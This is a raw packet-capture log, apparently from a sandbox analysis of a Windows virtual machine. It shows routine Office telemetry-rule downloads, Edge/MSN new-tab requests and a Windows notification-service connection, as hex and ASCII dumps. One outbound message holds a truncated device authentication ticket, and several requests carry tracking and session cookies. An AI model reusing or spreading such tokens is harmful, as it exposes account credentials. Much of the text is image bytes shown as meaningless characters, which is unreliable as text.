2024-11-23 01:55:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:48 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:48 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015548Z-174c587ffdfcb7qhhC1TEB3x70000000029000000000hug1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49922	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:48 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 61 43 54 63 36 2f 6e 54 30 6d 48 73 78 2b 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 37 66 32 34 30 61 33 35 66 63 62 65 38 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: DaCTc6/nT0mHsx+Y.1Context: 5b7f240a35fcbe8e
2024-11-23 01:55:48 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 01:55:48 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 61 43 54 63 36 2f 6e 54 30 6d 48 73 78 2b 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 37 66 32 34 30 61 33 35 66 63 62 65 38 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 37 76 61 74 57 6f 77 4a 61 51 30 45 61 52 53 5a 50 50 6e 62 55 74 6d 41 67 4d 4c 50 2b 4e 61 72 56 31 6e 32 4d 39 36 44 71 7a 34 4d 33 67 53 44 30 59 2b 39 38 79 54 41 6a 55 6c 71 59 76 73 45 6c 44 7a 66 43 50 76 35 69 37 73 58 34 32 43 63 36 4c 74 37 41 6f 70 6b 5a 47 6f 30 6b 73 42 64 63 6c 61 62 6f 56 48 4e 62 53 51 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: DaCTc6/nT0mHsx+Y.2Context: 5b7f240a35fcbe8e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS7vatWowJaQ0EaRSZPPnbUtmAgMLP+NarV1n2M96Dqz4M3gSD0Y+98yTAjUlqYvsElDzfCPv5i7sX42Cc6Lt7AopkZGo0ksBdclaboVHNbSQW
2024-11-23 01:55:48 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 44 61 43 54 63 36 2f 6e 54 30 6d 48 73 78 2b 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 37 66 32 34 30 61 33 35 66 63 62 65 38 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: DaCTc6/nT0mHsx+Y.3Context: 5b7f240a35fcbe8e
2024-11-23 01:55:49 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 01:55:49 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 79 59 43 42 71 43 6e 4f 6b 47 70 36 70 6c 70 30 65 2b 78 79 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yyYCBqCnOkGp6plp0e+xyg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:49 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015549Z-178bfbc474bpnd5vhC1NYC4vr400000003u000000000a8dk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49925	23.96.180.189	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:48 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=25272F1794486D883F453A57953A6C20&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=cad46880d0bd4b08949ab434720b9371 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1
2024-11-23 01:55:49 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2760 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132614-T700343875-C128000000002114769+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114769+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:49 GMT Connection: close
2024-11-23 01:55:49 UTC	2760	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 41 66 72 69 63 61 6e 20 70 65 6e 67 75 69 6e 73 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 42 6f 75 6c 64 65 72 73 2b 42 65 61 63 68 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"African penguins\",\"cta\":\"https:\/\/www.bing.com\/search?q=Boulders+Beach

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:49 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015549Z-15b8b599d88g5tp8hC1TEByx6w000000026g00000000csek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:49 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:50 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015550Z-15b8b599d88qw29phC1TEB5zag000000026000000000fzb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:50 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49930	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:50 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:50 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 18:22:53 GMT X-Datacenter: eastus X-ActivityId: 73d94375-d35b-43fd-8e68-bf549e16ce39 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1P X-Source-Length: 105715 Content-Length: 105715 Cache-Control: public, max-age=145506 Expires: Sun, 24 Nov 2024 18:20:56 GMT Date: Sat, 23 Nov 2024 01:55:50 GMT Connection: close
2024-11-23 01:55:50 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: d1 34 48 97 92 c1 2d cb 56 83 08 76 d8 25 b9 6e c3 08 57 57 56 db 02 b0 e9 0c af 1c 17 60 a1 b6 57 8d 0e c1 b6 c8 db 43 b0 70 f6 19 1e 4b 62 b2 b0 dc 3d 97 92 cc 83 31 c3 70 dc b7 89 99 06 63 86 e1 e6 27 92 d5 a1 e6 3c 2d c3 c9 6e 5a b4 56 66 c3 70 f2 5b 96 ed 0b 32 d0 f6 1d 24 b7 25 bb 41 99 78 75 75 96 e5 96 80 23 c8 74 96 e5 96 05 e1 e3 ac ba cb 2c 61 5e 31 cb 72 d5 85 17 7b 46 37 8c b1 d0 4a 3c 74 6d 96 14 5a 8f 1d 5b 60 cd 78 f1 eb 06 36 de 36 d8 0d b6 db 6c 06 f1 eb ab 63 35 b7 8d ba 18 de 3d 6d b2 4c 6d e3 6c 03 5b 78 f1 80 59 b7 46 d8 05 db 74 78 c0 08 db 1b 6d 00 47 92 e8 db 65 17 96 dd 1b 68 0b 36 ea f5 80 6b 6f 1b 60 1a db c6 db 03 5b 78 db 00 d6 de 36 c0 35 e3 6d b0 06 db 6d b6 03 6d e3 6c 03 5e 3c 6d 80 36 de 3c 60 0d b6 db 60 18 f1 b6 d8 33 Data Ascii: 4H-Vv%nWWV`WCpKb=1pc'<-nZVfp[2$%Axuu#t,a^1r{F7J<tmZ[`x66lc5=mLml[xYFtxmGeh6ko`[x65mmml^<m6<``3
2024-11-23 01:55:50 UTC	2220	IN	Data Raw: 16 84 25 f4 f3 54 2a 7f c4 c0 3d e5 c6 dd 91 f1 21 5d d5 fb 35 93 69 49 d4 1e e7 50 a5 0d 8d e3 0f 01 35 36 96 13 e5 2a c2 0e 92 ca 91 74 9c c5 75 3f a3 94 50 93 50 4a 0f 0d 3b 9c 15 5c bd 68 c2 ce 29 d0 c1 8e fd 1d 5e 23 44 e3 b5 32 72 25 0a aa c9 e7 11 d9 21 aa 2b a8 90 00 04 78 12 7d c3 b5 a0 21 33 52 49 ac 67 af 2a 49 6a 98 ae 00 62 3c 64 81 e0 05 5c 49 1d 0b 76 59 00 bc bc 04 ce 22 69 53 f8 98 ee 60 b6 54 a0 54 0e 11 48 93 04 9e 1c 39 97 15 61 2a 56 25 a8 ac f2 1c fc 34 d8 1a 92 52 54 02 ae 0c 09 88 09 12 29 c6 b4 75 92 47 2b 59 d9 11 45 6b 20 22 aa d2 98 a4 f0 d6 44 e6 f4 20 58 50 a2 89 e4 8a 6d 05 5f 6e f6 b0 95 ee 44 a6 38 64 c4 a2 0a 65 50 49 e1 04 7b e5 ac 59 6e c8 30 d2 de 1d 3d 41 18 3c 9b b0 64 04 fa 47 89 67 37 79 38 00 db 59 91 00 8a 4c 7b Data Ascii: %T=!]5iIP56tu?PPJ;\h)^#D2r%!+x}!3RIgIjb<d\IvY"iS`TTH9aV%4RT)uG+YEk "D XPm_nD8dePI{Yn0=A<dGg7y8YL{
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: 32 a0 27 98 d7 f4 71 8f 4f 6d 1f eb 23 10 15 15 89 e0 73 da f4 8f 5b a3 27 56 d3 e5 4d ef f2 b1 61 60 37 4e 32 c4 3b 6f 06 4a 0a d9 f8 b8 c4 cb f4 93 b5 64 17 93 c5 cb b5 0a d5 a7 89 fc 5a 8d aa 3b 11 2c a1 80 82 34 72 77 8e 86 e2 5b 11 09 57 4a 72 05 c4 37 67 20 d4 8a 50 b7 09 56 7f 2f 73 43 30 5d 19 f6 17 4b 87 78 98 4d c5 27 eb 83 c3 61 49 82 a2 00 3c 6b 1e e7 45 5e e9 ad f9 70 cf 32 75 d7 23 93 c5 eb 25 ba e5 fd a5 e1 23 04 75 09 f8 6f a7 62 a4 fb 43 50 b6 16 47 9c a4 9f f1 fd 1e d9 b8 16 3c d6 80 a8 f3 55 22 38 49 d7 8b 99 f3 09 b7 29 40 11 cc 0d 7c 4e bd cf 96 7d 64 61 95 67 ca d7 aa c7 81 73 29 51 ac 0d a5 ec 25 5a 94 fd dc 0b b7 f1 99 50 13 14 99 87 0f e6 63 48 f0 03 ec e3 e7 93 59 42 4d f8 24 4e 11 de e8 24 93 6a 0f f8 fd 8f dd a5 fc b5 d9 fd 92 Data Ascii: 2'qOm#s['VMa`7N2;oJdZ;,4rw[WJr7g PV/sC0]KxM'aI<kE^p2u#%#uobCPG<U"8I)@\|N}dags)Q%ZPcHYBM$N$j
2024-11-23 01:55:50 UTC	16384	IN	Data Raw: 9a 7e e8 f6 07 5d d1 09 42 c0 04 98 26 29 31 f8 b8 c5 06 74 ce ba d3 c4 02 d7 09 42 46 7f f6 af b0 77 34 f5 94 98 92 12 39 02 67 df 0f 48 4d b6 02 7a 92 3e b1 49 ec 3e d7 0d 63 48 03 b5 a8 29 48 d3 11 1e 3f 8b 84 ab 83 22 ae f3 ee 7d f1 b2 08 25 31 f9 7b 5d 30 1e 0e 5e 2f f2 2f 3e b4 05 f5 66 22 2e 0e 1d af 70 fd 4b 94 7c 3b 9d 23 88 ee 65 88 8d 87 ea 5d 22 1c 83 b4 76 b1 c3 b0 05 0e b0 cc 5d 21 d8 03 87 af 5e 87 40 58 07 86 59 3c b9 bc a3 90 02 5d 59 0b a6 17 60 51 eb 24 32 61 6e c0 10 64 14 77 c1 c1 ee 17 0d 80 27 56 58 87 9d cc 40 07 b9 e3 23 af 73 a0 07 e2 f1 93 b9 bf 17 40 51 b7 7f 17 90 c0 28 df 83 bc 3c c2 d8 14 6d db 0e d6 e1 80 55 eb b4 37 0c 02 ad bb c3 58 b1 ea de b3 a9 83 6e c5 c5 03 e9 11 85 3f bc a8 0f 39 4e 30 57 29 28 ae 2e be 23 11 9d 84 Data Ascii: ~]B&)1tBFw49gHMz>I>cH)H?"}%1{]0^//>f".pK\|;#e]"v]!^@XY<]Y`Q$2andw'VX@#s@Q(<mU7Xn?9N0W)(.#
